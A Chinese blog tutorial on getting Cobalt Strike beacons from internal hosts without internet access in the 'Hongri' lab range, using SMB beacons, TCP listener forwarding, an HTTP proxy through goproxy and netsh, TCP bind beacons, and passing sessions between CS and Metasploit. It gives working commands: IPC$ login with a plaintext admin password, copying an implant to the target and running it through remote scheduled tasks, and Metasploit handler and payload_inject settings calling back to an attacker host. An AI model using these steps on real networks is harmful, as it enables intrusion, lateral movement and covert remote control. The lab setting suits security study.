內網穿透之不出網上線CobaltStrike技巧

smileleooo發表於2024-06-30

目錄
  • 前言
  • smb beacon上線
  • tcp listener轉發上線
  • http代理上線
  • tcp beacon正向連線上線
  • 題外話 — cs和msf的許可權傳遞
    • cs派生給msf
    • msf派生給cs

前言

出網or不出網?

目標可以正常訪問網際網路,可直接在目標機掛socks代理或直接CS上線。而更多的情況是,內網中的伺服器和主機不通外網,這樣通常情況是無法直接實現CS上線操作的。

不出網的原因無外乎兩種:

  • 網路協議被限制

  • 網路通訊不通

解決辦法也有兩種:

  • 隧道技術:將一種網路協議的資料封裝在另一種網路協議的資料包中傳輸,繞過網路協議的限制

  • 代理技術:利用出網的跳板機作為代理,間接上線不出網的主機

環境搭建:

內網環境繼續使用之前的紅日靶場:作為web伺服器的win7主機採用雙網路卡,內網windows 2008不出網。

image

smb beacon上線

官網介紹:

SMB Beacon使用命名管道透過父級Beacon進行通訊,當兩個Beacon連線後,子Beacon從父Beacon獲取到任務併傳送。因為連線的Beacon使用Windows命名管道進行通訊,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽。

image

上面這個圖就可以說明它們之間的關係,上線跳板機的是父Beacon,SMB Beacon作為子Beacon獲取任務透過SMB隧道傳送給目標主機。

SMB Beacon的使用條件如下:

  • 具有SMB Beacon的主機必須接受445埠上的連線

  • 只能連結由同一個CobaltStrike例項管理的Beacon

  • 利用這種Beacon橫移必須有目標主機的管理員許可權或者擁有具有管理員許可權的憑據

使用HTTP Beacon上線win7跳板機:

image

建立一個SMB Beacon監聽器:

image

進入Beacon控制檯,輸入spawn SMB Beacon的監聽器名稱派生會話,執行成功後在external中可以看到IP後有個∞∞字元的派生SMB Beacon。

image

下一步利用派生的SMB Beacon來上線不出網主機,前提是已知目標機器的管理員賬號的明文密碼或密碼雜湊,利用SMB Beacon正向連線讓其上線。

抓取hash和明文密碼,獲取密碼憑證,選擇目標主機OWA(win 2008)選擇使用psexec64橫向移動:

image

內網OWA主機成功上線:

image

執行成功後在external中可以看到IP後有個∞∞字元,這是派生的SMB Beacon。

tcp listener轉發上線

在已上線的win7跳板機建立listener,設定監聽器代理轉發:

image

轉發監聽器可以利用己攻陷的win7作為代理,為其他Beacon會話的中轉網路流量:

image

生成一個stageless木馬:

image

image

將木馬上傳至win7跳板機:

image

與目標主機建立IPC$連線:

shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

image

將win7跳板機的木馬檔案copy到目標主機的C共享盤下:

shell copy C:\phpStudy\WWW\beacon_x64.exe \\192.168.52.138\C$

image

遠端建立目標主機計劃任務執行木馬:

shell schtasks /create /s 192.168.52.138 /u Administrator /p "hongrisec@2019" /sc MINUTE /mo 1 /tn test /tr "C:\beacon_x64.exe"

image

此時跳板機4444埠監聽器會等待目標主機木馬反彈連線,然後將流量轉發到cs上線。

http代理上線

需要使用到代理工具goproxy來搭建http代理,專案地址:https://github.com/snail007/goproxy

上傳proxy.exe到web伺服器,在8080埠開啟http代理:

shell C:\phpStudy\WWW\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

然後再使用netsh命令在win7跳板機上做一個埠轉發,將內網的822埠轉發到外網的8080上:

netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=3422 connectaddress=192.168.88.146 connectport=8080

image

設定一個HTTP Beacon監聽器,http代理設定為win7跳板機內網的822埠:

image

生成一個stageless木馬,選擇為剛才設定過http代理的監聽器:

image

然後將生成的木馬上傳至win7跳板機,再由跳板機與目標主機建立IPC$連線,將木馬上傳到目標主機,遠端建立目標機計劃任務執行木馬。

木馬會去連線822埠,win7再將822埠的http流量轉發到外網的8080,最後由8080埠將流量轉發到cs上線。

連線過程:

192.168.52.138(OWA) --> 192.168.52.143:822 --> 192.168.88.146:8080 --> 192.168.88.128:81(CS)

image

遇到一個很頭疼的問題,當執行netsh命令後,在0.0.0.0監聽的8080就消失了......

tcp beacon正向連線上線

tcp beacon正向連線和smb上線很類似,smb beacon是主動連線目標主機445埠建立smb隧道。而tcp正向連線是利用已上線跳板機主動與上傳了木馬的目標主機建立tcp連線,從而上線目標主機。

設定一個tcp正向連線的監聽器:

image

使用tcp正向連線的監聽器生成stageless木馬:

image

還是上面一樣,還是利用跳板機與目標主機建立IPC$連線,上傳木馬到目標主機:

shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

shell copy C:\phpStudy\WWW\b_beacon_x64.exe \\192.168.52.138\C$

image

跳板機執行connect指令連線目標主機木馬:

image

內網OWA主機成功上線。

題外話 — cs和msf的許可權傳遞

當目標上線cs以後,可以輕鬆地將cs許可權轉移到msf上,繼續借助msf完成後續的滲透。

環境:msf6 + cs4.8

cs派生給msf

1)在msf上啟用reverse_http模組監聽本地埠:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4444

image

2)在cs上建立一個foreign http監聽,ip和埠設定為msf監聽的ip和埠:

Foreign監聽器支援與其他軟體的監聽器進行派生(spawn)

image

3)右鍵 —> 憑證提權 —> 新建會話 —> 選擇建立的foreign http監聽:

image

msf成功拿到會話:

image

msf派生給cs

條件:msf已獲取meterpreter shell

image

在cs上建立一個http beacon的監聽器:

image

msf啟用payload_inject模組,將ip和埠設定為cs監聽的ip和埠:

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4567
set session 1
set DisablePayloadHandler true

注意:msf的payload和cs的監聽器要保持一致

image

cs成功拿到會話:

image

總結:

對於這種邊緣主機可以出網的情況,主要思路就是藉助邊緣的跳板機反向代理把內網主機帶出來,再或者是跳板機正向去連線內網主機。反向代理的一個缺點就是,內網主機在出網的時候需要經過各種轉發,所謂步驟越多就越容易失敗......個人感覺在內網滲透時條件允許的情況下,首選正向連線,會比較穩定。

參考文章:
https://xz.aliyun.com/t/13918
https://xz.aliyun.com/t/8671


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章